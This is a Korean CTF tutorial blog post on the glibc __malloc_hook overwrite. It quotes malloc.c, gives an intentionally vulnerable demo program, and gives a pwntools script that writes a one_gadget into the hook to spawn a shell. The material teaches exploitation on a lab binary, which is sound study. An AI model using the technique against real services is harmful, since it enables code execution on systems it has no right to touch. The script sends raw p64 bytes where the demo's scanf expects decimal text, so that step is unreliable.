-
hook OverwriteCTF/PWNABLE 2021. 1. 14. 20:43
CONSTRAINT 제약 조건
- Libc base address (hook variable의 주소를 구하기 위해)
- Arbitary address overwrite (hook variable을 덮어쓰기 위해)
- Function call (malloc, calloc, free등을 이용해 덮어쓴 hook을 호출)
PRELIMINARY 서론
malloc.c를 통해 malloc 함수의 구현을 살펴보면 다음과 같다.
void * __libc_malloc (size_t bytes) { mstate ar_ptr; void *victim; void *(*hook) (size_t, const void *) = atomic_forced_read (__malloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(bytes, RETURN_ADDRESS (0));
malloc 함수는 실행 과정에서 __malloc_hook을 NULL과 비교하고, 만약 NULL이 아니라면 __malloc_hook을 대신 실행하는 것을 확인할 수 있다. 따라서 __malloc_hook에 실행을 원하는 함수의 주소를 덮어쓴 후 malloc을 호출하는 방식의 exploit이 가능하다.
METHOD 방법
Libc base address를 알 수 있고, 임의 주소 쓰기 취약점이 존재한다면 __malloc_hook에 oneshot_gadget을 덮어씀으로써 쉘을 취득할 수 있다.
int main() { long addr; long value; printf("stdout: %p\n", stdout); // stdout leak printf("addr: "); scanf("%ld", &addr); printf("value: "); scanf("%ld", &value); *(long *)addr = value; // arbitary address overwrite long* ptr = malloc(0x20); // call malloc return 0; }
따라서 위와 같은 코드를 hook overwrite을 통해 exploit할 수 있다.
Code
더보기from pwn import * context.log_level = 'debug' p = process("./hook") l = ELF("./libc.so.6") p.recvuntil("stdout: ") stdout = int(p.recv(14), 16) libc = stdout - l.symbols["_IO_2_1_stdout_"] __malloc_hook = libc + l.symbols["__malloc_hook"] oneshot_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147] oneshot = libc + oneshot_offset[1] payload = p64(__malloc_hook) p.sendlineafter("addr: ", payload) payload = p64(oneshot) p.sendlineafter("value: ", payload) p.interactive()
코드를 실행하면 oneshot_gadget이 실행되면서 쉘을 취득할 수 있다.
'CTF > PWNABLE' 카테고리의 다른 글
Problemset 문제 모음 (0) 2021.01.21 Introduction to pwnable 시스템해킹 개론 (0) 2021.01.20 RTL(Return-to-libc) (0) 2021.01.16 Stack address leak (0) 2021.01.14 RET Overwrite (0) 2021.01.08